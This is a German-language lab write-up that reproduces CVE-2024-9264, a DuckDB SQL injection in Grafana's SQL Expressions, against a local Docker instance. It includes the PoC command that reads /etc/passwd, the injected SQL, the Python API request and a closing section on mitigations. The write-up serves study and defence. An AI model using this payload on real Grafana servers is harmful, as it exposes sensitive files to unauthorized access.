
PoC-Exploit für CVE-2024-9264: Sicherheitslücke in Grafana SQL Expression, die lokale Dateieinbindung und Remote-Codeausführung durch DuckDB-SQL-Injection ermöglicht. Enthält Docker-Lab-Setup und Python-Exploit-Skript.
Referenzen https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Element | Inhalt |
|---|
| CVE | CVE-2024-9264 |
| Ziel | Grafana (SQL Expressions) |
| Auswirkung | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| Schweregrad | Critical (CVSS 9.9) |
| Angriffsbedingungen | Authentifizierter Benutzer (Admin-Rechte) |
| Angriffsmethode | Ausnutzung der SQL Expression-Funktion zur Ausführung von DuckDB SQL |
Grafana ist ein Open-Source-Überwachungstool, das verschiedene Daten wie Server, Anwendungen und Datenbanken in leicht verständlichen Grafiken oder Dashboards visualisiert.
CVE-2024-9264 ist eine Schwachstelle in der SQL Expressions-Funktion von Grafana.
Da Grafana das intern verwendete DuckDB SQL nicht ordnungsgemäß validiert, kann ein Angreifer über SQL Expressions beliebiges DuckDB SQL ausführen.
Damit kann man:
In dieser Übung wurde Grafana 11.0.0 in einer Docker-Umgebung ausgeführt und die Schwachstelle mittels PoC durch Auslesen der Datei /etc/passwd reproduziert.
| Komponente | Inhalt |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Grafana-Ausführung überprüfen
http://localhost:3000

Die Standard-Anmeldeinformationen von Grafana lauten wie folgt.
ID : admin
PW : admin
Damit die Schwachstelle ausgenutzt werden kann, müssen folgende Bedingungen erfüllt sein:
In dieser Übung wurde das Standard-Administratorkonto (admin/admin) verwendet.
PoC ausführen
Um eine lokale Datei zu lesen, wurde der folgende Befehl ausgeführt.
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
Der PoC erstellt den folgenden SQL Expression.
SELECT * FROM read_csv_auto('/etc/passwd')
Dieser wird über die /api/ds/query-API an Grafana gesendet.
Grafana führte das SQL direkt aus und gab den Inhalt von /etc/passwd als Antwort zurück.

Neben /etc/passwd können auch andere Dateien eingesehen werden.

Damit wurde bestätigt, dass Local File Inclusion erfolgreich durchgeführt wurde.
Der PoC ist in Python geschrieben und führt die folgenden Schritte aus:
/api/ds/query)Das beim Lesen einer Datei generierte SQL lautet wie folgt.
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
Die API-Anfrage wird wie folgt durchgeführt.
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
Dies kann auch mit dem curl-Befehl überprüft werden.

Die effektivste Gegenmaßnahme ist die Aktualisierung auf die neueste Version, in der die Schwachstelle behoben wurde.
Unnötige SQL Expression-Funktionen sollten deaktiviert oder durch Anwendung des Prinzips der geringsten Rechte eingeschränkt werden.
Nach der Einrichtung von Grafana 11.0.0 in einer Docker-Umgebung wurde die Schwachstelle CVE-2024-9264 reproduziert.
Mit einem in Python geschriebenen PoC wurde die SQL Expression-Funktion ausgenutzt und erfolgreich die Datei /etc/passwd gelesen. Dadurch wurde bestätigt, dass bei unzureichender Eingabevalidierung von SQL Expressions sensible Dateien offengelegt werden können und je nach Umgebung auch eine Remote Code Execution möglich ist.
Solche Schwachstellen können durch Sicherheitsmaßnahmen wie Aktualisierung auf die neueste Version, Einschränkung der SQL Expression-Funktion und Schutz des Administratorkontos verhindert werden.